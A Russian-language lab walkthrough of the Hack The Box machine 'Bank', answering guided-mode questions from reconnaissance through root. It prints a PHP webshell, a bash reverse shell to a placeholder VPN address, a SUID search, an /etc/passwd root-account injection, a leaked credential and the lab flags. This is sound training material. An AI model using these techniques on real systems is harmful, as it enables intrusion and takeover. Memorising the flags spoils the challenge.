Сложность: | Easy |
ОС: | Linux |
Баллы: | 20 |
IP: | 10.10.10.29 |
Теги: | Directory Listing, EAR, Webshell, PHP, Linux System Files |
В данном разборе в рамках знакомства с новым режимом решения уязвимых машин в формате последовательных заданий (Guided Mode) рассмотрим Bank.
Проведём сканирование цели:
nmap -sCV -O -p- 10.10.10.29
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
| 2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
| 256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_ 256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp open domain ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.12 (96%), Linux 3.13 (96%), Linux 3.16 (96%), Linux 3.18 (96%), Linux 3.2 - 4.9 (96%), Linux 3.8 - 3.11 (96%), Linux 4.4 (95%), Linux 4.2 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 4.8 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Ответ: 3 порта
Давайте проверим что за страница доступна по IP машины и можно ли осуществить перенос зоны на порту 53 (domain).
Действительно, при доступе по IP получаем всего лишь страницу по-умолчанию Apache2.
Поскольку, машина называется Bank, можем попробовать осуществить перенос зоны с bank.htb
dig axfr bank.htb @10.10.10.29
Результат переноса зоны:
; <<>> DiG 9.18.16-1-Debian <<>> axfr bank.htb @10.10.10.29
;; global options: +cmd
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800
bank.htb. 604800 IN NS ns.bank.htb.
bank.htb. 604800 IN A 10.10.10.29
ns.bank.htb. 604800 IN A 10.10.10.29
www.bank.htb. 604800 IN CNAME bank.htb.
bank.htb. 604800 IN SOA bank.htb. chris.bank.htb. 5 604800 86400 2419200 604800
;; Query time: 236 msec
;; SERVER: 10.10.10.29#53(10.10.10.29) (TCP)
;; WHEN: Thu Aug 17 14:46:56 MSK 2023
;; XFR size: 6 records (messages 1, bytes 171)
Добавим домен в /etc/hosts
:
# HTB
10.10.10.29 bank.htb chris.bank.htb ns.bank.htb
Перейдём по ссылке http://bank.htb
и проверим веб-страницу, которая отобразится:
Ответ: bank.htb
Просканируем директории с помощью gobuster
:
gobuster dir -u http://bank.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k
/uploads (Status: 301) [Size: 305] [--> http://bank.htb/uploads/]
/assets (Status: 301) [Size: 304] [--> http://bank.htb/assets/]
/inc (Status: 301) [Size: 301] [--> http://bank.htb/inc/]
/server-status [Size: 403] [--> http://bank.htb/server-status/]
/balance-transfer [Size: 301] [--> http://bank.htb/balance-transfer/]
/uploads
перенаправляет на /uploads/
, доступ к которому закрыт (403).
/assets
перенаправляет на /assets/
, в котором не содержатся указанные в задании файлы формата .acc.
/inc
перенаправляет на /inc/
, в этом каталоге содержатся 4 PHP файла:
При попытке доступа к footer.php
, header.php
, ticket.php
возвращаются пустые страницы. При попытке доступа к header.php
нас перенаправляет на login.php
, которого, если делать выводы по содержимому директории /inc
нет.
/server-status
возвращает 403 статус – доступ ограничен.
/balance-transfer
является нужной директорией:
Ответ: /balance-transfer
Пример содержимого одного их файлов .acc:
Размеры этих файлов колеблются от 583 до 585, кроме одного размером 257: 68576f20e9732f1b2edc4df5b8533230.acc
Содержимое этого файла отличается, первая строчка указывает на то, что шифрование отчёта не удалось и заодно мы получили пароль от учётной записи: chris:!##HTBB4nkP4ssw0rd!##
Ответ: 68576f20e9732f1b2edc4df5b8533230.acc
При перехвате запроса к http://bank.htb/
заметим, что возвращается 302 статус перенаправления.
С помощью функции в Burp Suite Match and Replace (Proxy – Options – Match and Replace) подменим заголовок 302 Found на 200 OK, чтобы осуществить атаку EAR (игнорирование перенаправления для получения чувствительных данных авторизированных пользователей, Execution After Redirect):
Таким образом можно обойти авторизацию, получить доступ к данным внутри учётной записи и панели обратной связи support.php
, обнаруженной ранее в Задании 3.
Ответ: EAR
Авторизуемся в сервисе с помощью данных, полученных в Задании 4 (
). Затем проанализируем исходный код страниц chris:!##HTBB4nkP4ssw0rd!##
http://bank.htb/index.php
и http://bank.htb/support.php
В исходном коде страницы support.php
обнаружили комментарий:
Исходя из него следует, что в целях отладки приложения загруженные файлы формата .htb
будут исполняться как PHP.
Ответ: htb
Исходя из предыдущего пункта мы можем загрузить простейший PHP-shell заменив расширения для обхода запрета на загрузку файлов формата PHP, загрузив файл с кодом шелла на PHP в формате .htb
. Создадим локально файл cmd.htb со следующим содержимым и приложим его к новому тикету в разделе Support:
<?php system($_REQUEST["cmd"]); ?>
Успешно загрузив шелл, попробуем получить доступ к нему:
Ответ: www-data
Воспользуемся загруженным веб-шеллом для получения доступа на машину. Откроем порт 7331 с помощью Netcat: nc -nvlp 7331
Передадим загруженному веб-шеллу следующее значение параметра cmd:
bash -c "bash -i >& /dev/tcp/your_VPN_IP/7331 0>&1"
Получили интерактивный шелл, а вместе с этим и флаг!
Ответ: ba03b56723d9bda6f566bb5e2151f09d
Для поиска бинарных файлов с установленным битом SUID можно воспользоваться следующей командой:
find / -type f -user root -perm -4000 2>/dev/null
В списке нестандартных SUID бинарных файлов выделяется следующий: /var/htb/bin/emergency
.
Проверим как работает этот бинарный файл. Как выяснилось после его запуска – он присваивает текущему пользователю euid=(root), что позволяет исполнять команды с правами root.
Получили ответы на 9 и 10 вопросы (пусть до нестандартного бинарного файла и флаг root)
Ответ 9: /var/htb/bin/emergency
Ответ 10: 2330edc10372d9f2d00be56e476863b0
Когда мы говорим о важных системных файлах в ОС Linux в первую очередь на ум приходят два файла: /etc/passwd
– файл, содержащий список учётных записей пользователей и /etc/shadow
– содержащий зашифрованные пароли всех учётных записей.
Если вывести информацию о правах на чтение, исполнение и запись этих файлов, то можно заметить, что любой пользователь может осуществлять запись в /etc/passwd
:
В современных ОС Linux осталась особенность старых версий, в которых зашифрованный пароль учётной записи хранился не в отдельном файле, доступном для чтения только пользователем root, а в файле /etc/passwd, а поскольку мы имеем права на запись – можем добавить свою запись с домашней директорией /root
. Сгенерируем пароль и сформируем новую запись в файле, который хранит данные о учётных записях:
openssl passwd -1 test123
Добавим строчку любым удобным нам методом:
newroot:$1$5sNvhw1D$/a.8ksIuTe73G2jmFrnMw0:0:0:comment:/root:/bin/bash
Далее, с помощью команды su newroot
получаем доступ к созданному пользователю.
Далее, с помощью команды su newroot
получаем доступ к созданному пользователю.
Ответ: /etc/passwd